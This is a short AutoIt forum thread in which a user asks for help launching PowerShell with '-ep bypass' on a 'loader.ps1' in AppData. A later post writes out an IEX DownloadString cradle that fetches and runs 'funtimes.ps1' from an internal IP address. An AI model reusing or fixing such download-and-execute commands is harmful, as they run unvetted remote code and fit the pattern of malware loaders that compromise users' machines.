Jump to content
maurice27

Running a powershell script doesn't work

Recommended Posts

Hello dear AutoIT friends, i have been trying for a couple of days to make this work and it blows my mind that it doesn't.

 

$sCommands = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -NoExit -File C:\Users\admin\AppData\Roaming\loader.ps1'
MsgBox(0,'',$sCommands)
Run($sCommands, @AppDataDir, @SW_SHOW)

All it does is open a powershell window, and do nothing, any suggestions to make it work?

 

Share this post


Link to post
Share on other sites

You could use through Command Prompt (@ComSpec or "cmd /c powershel xxxxxxxxxxxxxxx") to run powershell code

Share this post


Link to post
Share on other sites
$sCommands = 'cmd.exe /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -ep Bypass -Command '
$sCommands2 = "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.3.45:8381/funtimes.ps1')"
MsgBox(0,'',$sCommands & $sCommands2)
RunWait($sCommands & $sCommands2, @AppDataDir, @SW_SHOW)

This one downloads the file, but doesn't execute it...

 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...